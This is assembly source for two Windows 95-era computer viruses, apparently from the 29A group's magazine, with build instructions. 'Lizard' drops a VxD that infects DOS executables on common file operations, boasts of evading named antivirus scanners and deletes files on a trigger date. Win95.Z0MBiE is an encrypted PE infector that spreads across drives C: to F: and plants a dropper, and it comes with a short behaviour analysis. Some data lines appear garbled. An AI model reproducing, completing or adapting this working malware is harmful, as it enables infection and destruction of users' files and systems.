; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ

;This is an encrypted vxd direct action dos exe infector (I added some anti-
;heuristics and other stuff and optimized the code of v1.0).

;When an infected file is run the virus decrypts itself, drops lzd.vxd to the
;available one of the three dirs and then returns back to the host. After the
;next reboot...

;When windoze 95 is starting, it loads the vxd (lzd.vxd) automatically coz


;it's in the '\iosubsys\' dir (Lizard doesn't need to modify the system.ini
;or the registry). Then the virus takes control and hooks the V86 interrupt
;chain. It executes on exec (4bh), create (3ch), ext. open (6ch), close (3eh)
;and on find first file (4eh) using direct action techniques to infect all
;dos exes in the current directory (*highly* infectious!). Lzd.vxd has a size
;of 7099 bytes (masm sux! :P ), but the victims are only increased by 1967 (!)
;bytes.

;Findvirus v7.75, AVP v3.0 and TBAV v8.03 (high heuristic sensitivity!) can't
;detect it (all for win95).

;Compiling lzd.vxd (win95 DDK):


;makefile

;Compiling rmlzd.inc:
;tasm /m2 rmlzd.asm
;tlink /t rmlzd.obj
;file2db rmlzd.com (or another db generator)
;modify rmlzd.dat

;To install copy lzd.vxd to one of the following dirs:


;- c:\windows\system\iosubsys
;- c:\win95\system\iosubsys
;- c:\windows.000\system\iosubsys
;...or start lizard.exe :)

;P.S.:
;Sandy: are u lucky now? ;)
;Jacky: thanx for testing it!
;GriYo: the stack stuff really didn't work :P

;P.P.S:
;TrY MaGiC MuShRoOmS...

;---[LZD.ASM]-----------------------------------------------------------------

.386p

.xlist
include vmm.inc
.list

vxdhsize equ 701


vxddsize equ 81
vxdcsize equ 880
esize equ encend - encstart
vsize equ vend - start

Declare_Virtual_Device LZD, 6, 66, LZD_Control, Undefined_Device_Id, \


Undefined_Init_Order,,

VxD_Locked_Data_Seg
wcard db '*.e?e',0 ;*.l?z
include rmlzd.inc ;realmode code
dflag db 0
pflag db 0
ndta db 43 dup (?)
header db 26 dup (?)
VxD_Locked_Data_Ends
;-----------------------------------------------------------------------------
VxD_Locked_Code_Seg
BeginProc LZD_Device_Init
;trigger
mov ah,2ah ;get date
vxdint 21h
;live drazil si
cmp dh,10 ;26.10.?
jne npload
cmp dl,26
jne npload

mov pflag,1 ;hehe

npload:
mov eax,21h ;install int 21h handler
mov esi,offset32 int21h
VMMcall Hook_V86_Int_Chain
clc
ret
EndProc LZD_Device_Init
;-----------------------------------------------------------------------------
BeginProc int21h
cmp [ebp.Client_AH],4bh ;exec
je short ww
cmp [ebp.Client_AH],3ch ;create
je short ww
cmp [ebp.Client_AH],6ch ;ext. open
je short ww
cmp [ebp.Client_AH],3eh ;close
je short ww
cmp [ebp.Client_AH],4eh ;find first
je short ww
jmp prevhook

ww:
Push_Client_State ;save regs
VMMcall Begin_Nest_Exec
;-----------------------------------------------------------------------------
cmp dflag,1
je done
mov ax,3d02h ;open lzd.vxd
lea edx,dropname1 ;in the 'c:\windows\system\iosubsys' dir
vxdint 21h
jnc short rd

mov ax,3d02h ;open the vxd


lea edx,dropname2 ;in the 'c:\win95\system\iosubsys' dir
vxdint 21h
jnc short rd

mov ax,3d02h ;open the vxd


lea edx,dropname3 ;in the 'c:\windows.000\system\iosubsys' dir
vxdint 21h
jc ecsit ;skip it

rd:
xchg ax,bx

mov ah,3fh ;store the header of the vxd


mov cx,vxdhsize
lea edx,vxdheader
vxdint 21h

mov ax,4201h ;jmp over zeros


xor cx,cx
mov dx,3400
vxdint 21h

mov ah,3fh ;store the vxddata


mov cx,vxddsize
lea edx,vxddata
vxdint 21h

mov ax,4201h ;jmp over realmodecode and zeros


xor cx,cx
mov dx,2037
vxdint 21h

mov ah,3fh ;store the vxdcode


mov cx,vxdcsize
lea edx,vxdcode
vxdint 21h

mov ah,3eh ;close...


vxdint 21h

mov dflag,1 ;set flag


;-----------------------------------------------------------------------------
done:
mov ah,1ah ;set dta
lea edx,ndta
vxdint 21h

ffirst:
mov ah,4eh ;search for first exe
jmp short w
fnext:
mov ah,4fh ;find next exe
w:
mov cx,7
lea edx,wcard ;*.e?e
vxdint 21h
jc ecsit

mov ax,4301h ;set normal attribute


mov cx,20h
lea edx,[ndta + 30]
vxdint 21h

cmp pflag,1 ;sux0ring microsuckers


jne pheeew ;(the payload in v1.0 was a bit too destructive ;)
evil:
;evil payload against the imperialism of microsoft!
mov ah,41h ;yhcrana
lea edx,[ndta + 30]
vxdint 21h
jmp ecsit

pheeew:
mov ax,3d02h ;open the victim
lea edx,[ndta + 30]
vxdint 21h
jc fnext
xchg ax,bx

mov ah,3fh ;read header


mov cx,26
lea edx,header
vxdint 21h

cmp word ptr [header],'ZM' ;exe?


jne cfile
cmp word ptr [header + 0ch],0ffffh ;allocate all mem?
jne cfile
cmp word ptr [header + 18h],40h ;win exe?
je cfile
mov al,[header + 12h] ;infected?
or al,al
jne cfile

;save ss:sp
mov ax,word ptr [header + 0eh]
mov sseg,ax
mov ax,word ptr [header + 10h]
mov ssp,ax

;save cs:ip
mov eax,dword ptr [header + 14h]
mov csip,eax

mov ax,4202h ;eof


xor cx,cx
cwd
vxdint 21h

;calc new cs:ip


mov cx,16
div cx
sub ax,word ptr [header + 8]

mov word ptr [header + 14h],dx


mov word ptr [header + 16h],ax

add edx,vend ;calc stack

mov word ptr [header + 0eh],ax


mov word ptr [header + 10h],dx

;xor encryption
rdnm:
in al,40h
or al,al
je rdnm
mov [encval],al ;save random value

mov edi,offset32 encstart


mov cx,esize
xl:
xor [edi],al
inc edi
loop xl

;write virus
mov ah,40h
mov cx,vsize
mov edx,offset32 start
vxdint 21h

;undo
mov al,[encval]
mov edi,offset32 encstart
mov cx,esize

xll:
xor [edi],al
inc edi
loop xll

mov ax,4202h ;eof


xor cx,cx
cwd
vxdint 21h

mov cx,512 ;calc pages


div cx
or dx,dx
jz short np
inc ax
np:
mov word ptr [header + 4],ax
mov word ptr [header + 2],dx

mov ax,4200h ;bof


xor cx,cx
cwd
vxdint 21h

rnd:
in al,40h ;set infection flag
or al,al
je rnd
mov [header + 12h],al

mov ah,40h ;write new header


mov cx,26
lea edx,header
vxdint 21h

cfile:
mov cl,byte ptr [ndta + 21] ;restore attribute
lea edx,[ndta + 1eh]
mov ax,4301h
vxdint 21h

mov cx,word ptr [ndta + 22] ;restore time/date


mov dx,word ptr [ndta + 24]
mov ax,5701
vxdint 21h

mov ah,3eh ;close file


vxdint 21h
jmp fnext

ecsit:
VMMcall End_Nest_Exec
Pop_Client_State

prevhook:
stc
ret
EndProc int21h
;-----------------------------------------------------------------------------
BeginProc LZD_Control
Control_Dispatch Init_Complete,LZD_Device_Init
clc
ret
EndProc LZD_Control
wb db 13,10,'Lizard by Reptile/29A',0
VxD_Locked_Code_Ends
End ;this is the end my only friend the end...

;---[RMLZD.ASM]---------------------------------------------------------------

;Lizard's real mode portion

.286

vxdhsize equ 701


vxddsize equ 81
vxdcsize equ 880
esize equ encend - encstart
rmsize equ rmend - rmstart

.model tiny

.code
org 100h
start:
rmstart:
;get delta
;-----------------------------------------------------------------------------
call $ + 3
drazil:
pop si
sub si,offset drazil
push si
pop bp
;-----------------------------------------------------------------------------
push ds ;coz psp

push cs
pop ds

;decrypt it
db 176 ;mov al
encval db 0
;-----------------------------------------------------------------------------
lea di,[bp + offset encstart]
mov cx,esize
xd:
jmp fj
fj2:
inc di
loop xd
jmp encstart
fj:
xor [di],al
jmp fj2
;-----------------------------------------------------------------------------
encstart:
mov ax,3d00h ;try to open lzd.vxd in
lea dx,[bp + offset dropname1] ;c:\windows\system\iosubsys
int 21h
jnc cfile ;exit if already installed
mov ah,3ch ;install lzd.vxd
xor cx,cx
int 21h
jnc inst

mov ax,3d00h ;try to open lzd.vxd in


lea dx,[bp + offset dropname2] ;c:\win95\system\iosubsys
int 21h
jnc cfile
mov ah,3ch
xor cx,cx
int 21h
jnc inst

mov ax,3d00h ;try to open lzd.vxd in


lea dx,[bp + offset dropname3] ;c:\windows.000\system\iosubsys
int 21h
jnc cfile
mov ah,3ch
xor cx,cx
int 21h
jc exit

inst:
xchg ax,bx

mov ah,40h ;write the header


mov cx,vxdhsize
lea dx,[bp + offset vxdheader]
int 21h

;write some zeros


mov cx,3400
lzero:
push cx
mov ah,40h
mov cx,1
lea dx,[bp + zero]
int 21h
pop cx
loop lzero

mov ah,40h ;write the data


mov cx,vxddsize
lea dx,[bp + offset vxddata]
int 21h

mov ah,40h ;write the rmcode


mov cx,rmsize
lea dx,[bp + offset rmstart]
int 21h

;write some more zeros


mov cx,1732
lzero2:
push cx
mov ah,40h
mov cx,1
lea dx,[bp + zero]
int 21h
pop cx
loop lzero2

mov ah,40h ;write the code


mov cx,vxdcsize
lea dx,[bp + offset vxdcode]
int 21h

cfile:
mov ah,3eh
int 21h

;exe return
exit:
pop ax ;psp
add ax,11h
dec ax
add word ptr [bp + offset csip + 2],ax

;stack
db 5 ;add ax
sseg dw 0fff0h ;test
mov ss,ax

db 0bch ;mov sp
ssp dw 0fffeh

db 0eah
csip dd 0fff00000h

zero db 0

dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
rmend:
vxdheader db vxdhsize dup (?)
vxddata db vxddsize dup (?)
vxdcode db vxdcsize dup (?)
encend:
ends
end start

;---[RMLZD.INC]---------------------------------------------------------------

;Modified db listing of rmlzd.com

start:
db 0E8h, 000h, 000h, 05Eh, 081h, 0EEh, 003h, 001h
db 056h, 05Dh, 01Eh, 00Eh, 01Fh, 0B0h
;db 000h
encval db 0
db 08Dh
db 0BEh, 021h, 001h, 0B9h, 08Eh, 007h, 0EBh, 005h
db 047h, 0E2h, 0FBh, 0EBh, 004h, 030h, 005h, 0EBh
db 0F7h
encstart:
db 0B8h, 000h, 03Dh, 08Dh, 096h, 0C6h, 001h
db 0CDh, 021h, 073h, 07Fh, 0B4h, 03Ch, 033h, 0C9h
db 0CDh, 021h, 073h, 026h, 0B8h, 000h, 03Dh, 08Dh
db 096h, 0E9h, 001h, 0CDh, 021h, 073h, 06Ch, 0B4h
db 03Ch, 033h, 0C9h, 0CDh, 021h, 073h, 013h, 0B8h
db 000h, 03Dh, 08Dh, 096h, 00Ah, 002h, 0CDh, 021h
db 073h, 059h, 0B4h, 03Ch, 033h, 0C9h, 0CDh, 021h
db 072h, 055h, 093h, 0B4h, 040h, 0B9h, 0BDh, 002h
db 08Dh, 096h, 031h, 002h, 0CDh, 021h, 0B9h, 048h
db 00Dh, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
db 0B4h, 040h, 0B9h, 051h, 000h, 08Dh, 096h, 0EEh
db 004h, 0CDh, 021h, 0B4h, 040h, 0B9h, 031h, 001h
db 08Dh, 096h, 000h, 001h, 0CDh, 021h, 0B9h, 0C4h
db 006h, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
db 0B4h, 040h, 0B9h, 070h, 003h, 08Dh, 096h, 03Fh
db 005h, 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 058h
db 005h, 011h, 000h, 048h, 001h, 086h, 0C3h, 001h
dbNUL005h
;db 0F0h, 0FFh
sseg dw 0fff0h ;not necessary
db 08Eh, 0D0h, 0BCh
;db 0FEh, 0FFh
ssp dw 0fffeh
dbNUL0EAh
;db 000h, 000h, 0F0h, 0FFh
csip dd 0fff00000h
db 000h
;db 063h, 03Ah
;dbNUL05Ch, 077h, 069h, 06Eh, 064h, 06Fh, 077h, 073h
;dbNUL05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch
;dbNUL069h, 06Fh, 073h, 075h, 062h, 073h, 079h, 073h
;dbNUL05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h, 064h
;dbNUL000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh, 039h
;dbNUL035h, 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh
;dbNUL05Ch, 069h, 06Fh, 073h, 075h, 062h, 073h, 079h
;db 073h, 05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h
;db 064h, 000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh
;db 064h, 06Fh, 077h, 073h, 02Eh, 030h, 030h, 030h
;db 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch
;dbNUL069h, 06Fh, 073h, 075h, 062h, 073h, 079h, 073h
;dbNUL05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h, 064h
;dbNUL000h
dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
vxdheader db vxdhsize dup (?)
vxddata db vxddsize dup (?)
vxdcode db vxdcsize dup (?)
encend:
vend:

;---[LZD.DEF]-----------------------------------------------------------------

VXD LZD DYNAMIC


DESCRIPTION ''
SEGMENTS
_LPTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
_LTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
_LDATA CLASS 'LCODE' PRELOAD NONDISCARDABLE
_TEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
_DATA CLASS 'LCODE' PRELOAD NONDISCARDABLE
CONST CLASS 'LCODE' PRELOAD NONDISCARDABLE
_TLS CLASS 'LCODE' PRELOAD NONDISCARDABLE
_BSS CLASS 'LCODE' PRELOAD NONDISCARDABLE
_ITEXT CLASS 'ICODE' DISCARDABLE
_IDATA CLASS 'ICODE' DISCARDABLE
_PTEXT CLASS 'PCODE' NONDISCARDABLE
_PDATA CLASS 'PDATA' NONDISCARDABLE SHARED
_STEXT CLASS 'SCODE' RESIDENT
_SDATA CLASS 'SCODE' RESIDENT
_DBOSTART CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
_DBOCODE CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
_DBODATA CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
_16ICODE CLASS '16ICODE' PRELOAD DISCARDABLE
_RCODE CLASS 'RCODE'

EXPORTS
LZD_DDB @1

;---[MAKEFILE]----------------------------------------------------------------

NAME = lzd

LINK = LINK

ASM = ml
AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 -DDEBLEVEL=0
ASMENV = ML
LFLAGS = /VXD /NOD

.asm.obj:
set $(ASMENV)=$(AFLAGS)
$(ASM) -Fo$*.obj $<

all : $(NAME).VXD

OBJS = lzd.obj

lzd.obj: lzd.asm

$(NAME).VxD: $(NAME).def $(OBJS)


link @<<$(NAME).lnk
$(LFLAGS)
/OUT:$(NAME).VxD
/MAP:$(NAME).map
/DEF:$(NAME).def
$(OBJS)
<<

@del *.exp>nul
@del *.lib>nul
@del *.map>nul
@del *.obj>nul
;...
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Win95.Z0MBiE ³
; ³ v1.01, by Z0MBiE ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;
; This is the first collaboration of the russian virus writer Z0MBiE to 29A,
; and also his first Win95 PE infector. It is an encrypted runtime PE infec-
; tor which, after having decrypted its body, locates KERNEL32.DLL and then
; looks in its export table for the address of the API functions used it the
; viral code. This virus has also the feature which consists on looking for
; files to infect in the Windows directory as well as in other units. PE in-
; fection consists on adding a new section (called .Z0MBiE) to infected exe-
; cutables and creating an entry point in it for the virus code. Last but
; not least, Win95.Z0MBiE, after having infected files in a given drive, in-
; serts a dropper called ZSetUp.EXE in the root directory. This file is ac-
; tually a dropper of the Z0MBiE.1922 virus, also included in this issue of
; 29A, in the "Viruses" section of the magazine. Its peculiarities are des-
; cribed there, together with the analysis of Igor Daniloff, same as the one
; which follows, describing the behavior of Win95.ZOMBiE.
;
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; Win95.Zombie
;
; Igor Daniloff
; DialogueScience
;
; Win95.Zombie is a nondestructive nonresident encrypted virus which
; infects PortableExecutable EXE files. On starting an infected file,
; the virus decryptor explodes the main virus body and passes control
; to it. The main virus body determines the location of KERNEL32 Export
; Table in memory and saves in its code the address of WIN32 KERNEL API
; functions that are essential for infecting files.
;
; Then the virus determines the command line of the currently-loaded
; infected program and loads it once again through the WinExec function.
; The second virus copy then infects the system. The first virus copy
; (that started a second copy the infected program), after completing
; the WinExec procedure, returns control to the host program.
;
; To infect PE EXE files, the virus scans the Windows system folder and
; also takes peeps into all other folders in drives C:, D:, E:, and F:.
; On detecting a PE EXE file, the virus analyzes the file. If all is well,
; the file is infected. Win95.Zombie creates a new segment section .Z0MBiE
; in the PE header, sets an entry point to it, and appends a copy of the
; encrypted code at the file end which is within the limits of the region
; of this segment section. After infecting the logical drive, the virus
; creates a dropper file ZSetUp.EXE in the root directory and assigns it
; ARCHIVE and SYSTEM attributes. In this file, Win95.Zombie plants a
; Zombie.1922 virus code. The virus contains a few text strings:
;
; Z0MBiE 1.01 (c) 1997
; My 2nd virii for mustdie
; Tnx to S.S.R.
;
; Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE
; Tnx to S.S.R.
; ShadowRAM/Virtual Process Infector
; ShadowRAM Technology (c) 1996,97 Z0MBiE
;
; code................1398
; viriisize...........4584
; virtsize............8936
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm32 -ml -m5 -q -zn zombie.asm
; tlink32 -Tpe -c -x -aa zombie.obj,,, import32.lib
; pewrsec zombie.exe
;
; - -[ZOMBIE.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

.386
locals
jumps
.model flat

extrn ExitProcess:PROC
extrn MessageBoxA:PROC

kernel equ 0BFF70000H

FILE_ID equ 'Z0'


PORT_ID equ 'Z'

.data

sux db 'mustdie'

.code
start:
call codestart

lea ebp, [eax - 401000H]


lea edx, codestart[ebp]
cryptn equ (viriisize-decrsize+3) / 4
mov ecx, cryptn
@@1: neg dword ptr [edx]
xor dword ptr [edx], 12345678h
xorword equ dword ptr $-4
sub edx, -4
loop @@1
jmp codestart

align 4
decrsize equ $-start

codestart: lea ebp, [eax - 401000H]


sub eax, 12345678h
subme equ dword ptr $-4
push eax

call analizekernel

call first

in al, 81h
cmp al, PORT_ID
je exit_to_program

in al, 80h
cmp al, PORT_ID
je infect

mov al, PORT_ID


out 80h, al

call ExecExe

exit_to_program: ret

infect: mov al, -1


out 80h, al

; call _GetModuleHandleA
; push 9
; push eax
; call _SetPriorityClass

; infect windows directory

lea edx, infdir[ebp]


call getwindir
lea edx, infdir[ebp]
call setdir
call infectdir

; recursive infect

lea edx, drive_c[ebp]


call recinfect1st
call createsetup

lea edx, drive_d[ebp]


call recinfect1st
call createsetup

lea edx, drive_e[ebp]


call recinfect1st
call createsetup

lea edx, drive_f[ebp]


call recinfect1st
call createsetup

mov al, PORT_ID


out 81h, al

exit_to_mustdie: push -1
call _ExitProcess

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ subprograms ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

createsetup: lea edx, zsetup[ebp]


call createfile

lea edx, z[ebp]


mov ecx, z_size
call writefile

call closefile

ret

first: pop edi


mov byte ptr [edi-5], 0b9h ; mov ecx, xxxxxxxx
mov byte ptr start[ebp], 0b9h

call infectfile
jmp exit_to_mustdie

ExecExe: call _GetCommandLineA


SW_NORMAL equ 1
push SW_NORMAL
push eax
call _WinExec
ret

recinfect1st: call setdir

recinfect: call infectdir

lea eax, win32_data_thang[ebp]


push eax
lea eax, dirfiles[ebp]
push eax
call _FindFirstFileA
mov edi, eax
inc eax
jz @@nomorefiles

@@processfile: lea eax, fileattr[ebp]


mov al, [eax]
cmp al, 10h ; directory ?
jne @@findnext

lea edx, fullname[ebp]


cmp byte ptr [edx], '.'
je @@findnext
call setdir

push edi
lea edx, fullname[ebp]
call recinfect
pop edi

lea edx, prev_dir[ebp]


call setdir

@@findnext: lea eax, win32_data_thang[ebp]


push eax
push edi
call _FindNextFileA

or eax, eax
jnz @@processfile

@@nomorefiles: ret

nokerneldll:
nofunction:
exit: jmp $

analizekernel: mov esi, kernel


@@1: ; cmp esi, kernel + 040000h
; ja nokernelfunc
lea edi, kernel_sign[ebp]
mov ecx, kernel_sign_size
rep cmpsb
jne @@1

kernelfound: sub esi, kernel_sign_size


mov kernel_call[ebp], esi

mov esi, kernel


lodsw
cmp ax, 'ZM'
jne nokerneldll

add esi, 003Ch-2


lodsd

lea esi, [esi + eax - 3ch - 4]


lodsd
cmp eax, 'EP'
jne nokerneldll

add esi, 78h-4 ; esi=.edata

lodsd
add eax, kernel + 10h
xchg esi, eax

lodsd
lodsd
lodsd
mov funcnum[ebp], eax

lodsd
add eax, kernel
mov entrypointptr[ebp], eax

lodsd
add eax, kernel
mov nameptr[ebp], eax

lodsd
add eax, kernel
mov ordinalptr[ebp], eax

lea edx, names[ebp]


lea edi, fns[ebp]

@@1: push edi


call findfunction
pop edi

inc edi ; 68
stosd
add edi, 6 ; jmp kernel_call[ebp]

mov edx, esi

cmp byte ptr [esi], 0


jne @@1

ret

findfunction: mov ecx, 12345678h


funcnum equ dword ptr $-4
xor ebx, ebx
findnextfunc: mov esi, edx

mov edi, [ebx + 12345678h]


nameptr equ dword ptr $-4
add edi, kernel

@@2: cmpsb
jne @@1

cmp byte ptr [esi-1], 0


jne @@2

; found

shr ebx, 1
movzx eax, word ptr [ebx + 12345678h]
ordinalptr equ dword ptr $-4
shl eax, 2
mov eax, [eax + 12345678h]
entrypointptr equ dword ptr $-4
add eax, kernel

ret

@@1: add ebx, 4


loop findnextfunc

jmp nofunction

infectdir: lea eax, win32_data_thang[ebp]


push eax
lea eax, exefiles[ebp]
push eax
call _FindFirstFileA

mov searchhandle[ebp], eax


inc eax
jz @@exit

@@next: call infectfile

lea eax, win32_data_thang[ebp]


push eax
push 12345678h
searchhandle equ dword ptr $-4
call _FindNextFileA

or eax, eax
jnz @@next

@@exit: ret

; input: ECX=file attr


; EDX=file
; output: EAX=handle

openfile: push 0
push ecx
push 3 ; OPEN_EXISTING
push 0
push 0
push 80000000h + 40000000h
push edx
call _CreateFileA
mov handle[ebp], eax
ret

; input: EDX=file
; output: EAX=handle

createfile: push 0
push ecx
push 1 ; CREATE
push 0
push 0
push 80000000h + 40000000h
push edx
call _CreateFileA
mov handle[ebp], eax
ret

seekfile: push 0
push 0
push edx
push handle[ebp]
call _SetFilePointer
ret

closefile: push handle[ebp]


call _CloseHandle
ret

; input: ECX=bytes to read


; EDX=buf

readfile: push 0
lea eax, bytesread[ebp]
push eax
push ecx
push edx
push handle[ebp]
call _ReadFile
ret

; input: ECX=bytes to read


; EDX=buf

writefile: push 0
lea eax, bytesread[ebp]
push eax
push ecx
push edx
push handle[ebp]
call _WriteFile
ret

; input: EDX=offset directory (256 byte)

getdir: cld
push edx
push 255
call _GetCurrentDirectoryA
ret
; input: EDX=directory

setdir: push edx


call _SetCurrentDirectoryA
ret

getwindir: cld
push 255
push edx
call _GetWindowsDirectoryA
ret

infectfile: in al, 82h


cmp al, PORT_ID
jne @@continue

lea eax, fullname[ebp]


cmp dword ptr [eax], 'BM0Z'
jne @@exit

@@continue: mov ecx, fileattr[ebp]


lea edx, fullname[ebp]
call openfile

inc eax
jz @@exit

; goto the dword that stores the location of the pe header

mov edx, 3Ch


call seekfile

; read in the location of the pe header

mov ecx, 4
lea edx, peheaderoffset[ebp]
call readfile

; goto the pe header


mov edx, peheaderoffset[ebp]
call seekfile

; read in enuff to calculate the full size of the pe header and object table

mov ecx, 256


lea edx, peheader[ebp]
call readfile

; make sure it is a pe header and is not already infected


cmp dword ptr peheader[ebp],'EP'
jne @@close
cmp word ptr peheader[ebp] + 4ch, FILE_ID
je @@close
cmp dword ptr peheader[ebp] + 52, 00400000h
jne @@close

; go back to the start of the pe header


mov edx, peheaderoffset[ebp]
call seekfile

; read in the whole pe header and object table


lea edx, peheader[ebp]
mov ecx, headersize[ebp]
cmp ecx, maxbufsize
ja @@close
call readfile

mov word ptr peheader[ebp] + 4ch, FILE_ID

; locate offset of object table


xor eax, eax
mov ax, NtHeaderSize[ebp]
add eax, 18h
mov objecttableoffset[ebp],eax

; calculate the offset of the last (null) object in the object table
mov esi, objecttableoffset[ebp]
lea eax, peheader[ebp]
add esi, eax
xor eax, eax
mov ax, numObj[ebp]
mov ecx, 40
xor edx, edx
mul ecx
add esi, eax

inc numObj[ebp] ; inc the number of objects

lea edi, newobject[ebp]


xchg edi,esi

; calculate the Relative Virtual Address (RVA) of the new object

mov eax, [edi-5*8+8]


add eax, [edi-5*8+12]
mov ecx, objalign[ebp]
xor edx,edx
div ecx
inc eax
mul ecx
mov RVA[ebp], eax

; calculate the physical size of the new object


mov ecx, filealign[ebp]
mov eax, viriisize
xor edx, edx
div ecx
inc eax
mul ecx
mov physicalsize[ebp],eax

; calculate the virtual size of the new object


mov ecx, objalign[ebp]
mov eax, virtsize
xor edx,edx
div ecx
inc eax
mul ecx
mov virtualsize[ebp],eax

; calculate the physical offset of the new object


mov eax,[edi-5*8+20]
add eax,[edi-5*8+16]
mov ecx, filealign[ebp]
xor edx,edx
div ecx
inc eax
mul ecx
mov physicaloffset[ebp],eax

; update the image size (the size in memory) of the file


mov eax, virtsize
add eax, imagesize[ebp]
mov ecx, objalign[ebp]
xor edx, edx
div ecx
inc eax
mul ecx
mov imagesize[ebp],eax

; copy the new object into the object table


mov ecx, 40/4
rep movsd

; calculate the entrypoint RVA


mov eax, RVA[ebp]

mov ebx, entrypointRVA[ebp]


mov entrypointRVA[ebp], eax

sub eax, ebx

; Set the value needed to return to the host


mov subme[ebp], eax

; go back to the start of the pe header


mov edx, peheaderoffset[ebp]
call seekfile

; write the pe header and object table to the file


mov ecx, headersize[ebp]
lea edx, peheader[ebp]
call writefile

; move to the physical offset of the new object


mov edx, physicaloffset[ebp]
call seekfile

; write the virus code to the new object

call random
mov xorword[ebp], eax

lea edx, start[ebp]


mov ecx, decrsize
call writefile

lea esi, codestart[ebp]


lea edi, buf[ebp]
mov ecx, cryptn
@@1: lodsd
xor eax, xorword[ebp]
neg eax
stosd
loop @@1

lea edx, buf[ebp]


mov ecx, viriisize-decrsize
call writefile
@@close: call closefile

@@exit: ret

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 32-bit random number generator ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

; output: eax=rnd
; zf=rnd(2)

random: call random16bit


shl eax, 16

random16bit: push ebx


mov bx, 1234h
rndword equ word ptr $-2
in al, 40h
xor bl, al
in al, 40h
add bh, al
in al, 41h
sub bl, al
in al, 41h
xor bh, al
in al, 42h
add bl, al
in al, 42h
sub bh, al
mov rndword[ebp], bx
xchg bx, ax
pop ebx
test al, 1
ret

; input: eax
; output: eax=rnd(eax)
; zf=rnd(2)

rnd: push ebx


push edx
xchg ebx, eax
call random
xor edx, edx
div ebx
xchg edx, eax
pop edx
pop ebx
test al, 1
ret

codesize equ $-start

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ data area ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

kernel_sign: pushfd ; <- kernel


cld
push eax
push ebx
push edx
kernel_sign_size equ $-kernel_sign

kernel_call dd ?
names: db 'ExitProcess',0
db 'FindFirstFileA',0
db 'FindNextFileA',0
db 'CreateFileA',0
db 'SetFilePointer',0
db 'ReadFile',0
db 'WriteFile',0
db 'CloseHandle',0
db 'GetCurrentDirectoryA',0
db 'SetCurrentDirectoryA',0
db 'GetWindowsDirectoryA',0
db 'GetCommandLineA',0
db 'WinExec',0
db 'SetPriorityClass',0
db 'GetModuleHandleA',0
db 0

fns:
def_fn macro name
_&name&: db 68h
fn_&name& dd ?
jmp kernel_call[ebp]
endm

def_fn ExitProcess
def_fn FindFirstFileA
def_fn FindNextFileA
def_fn CreateFileA
def_fn SetFilePointer
def_fn ReadFile
def_fn WriteFile
def_fn CloseHandle
def_fn GetCurrentDirectoryA
def_fn SetCurrentDirectoryA
def_fn GetWindowsDirectoryA
def_fn GetCommandLineA
def_fn WinExec
def_fn SetPriorityClass
def_fn GetModuleHandleA

bytesread dd ?

drive_c db 'C:\',0
drive_d db 'D:\',0
drive_e db 'E:\',0
drive_f db 'F:\',0

exefiles db '*.EXE',0
dirfiles db '*.',0

prev_dir db '..',0

win32_data_thang:
fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0
resv dd 0,0
fullname db 'Z0MB.EXE',256-8 dup (0)
realname db 256 dup (0)
handle dd ?

peheaderoffset dd ?
objecttableoffset dd ?

newobject: ;1234567 8
oname db '.Z0MBiE',0
virtualsize dd 0
RVA dd 0
physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags db 40h,0,0,0c0h

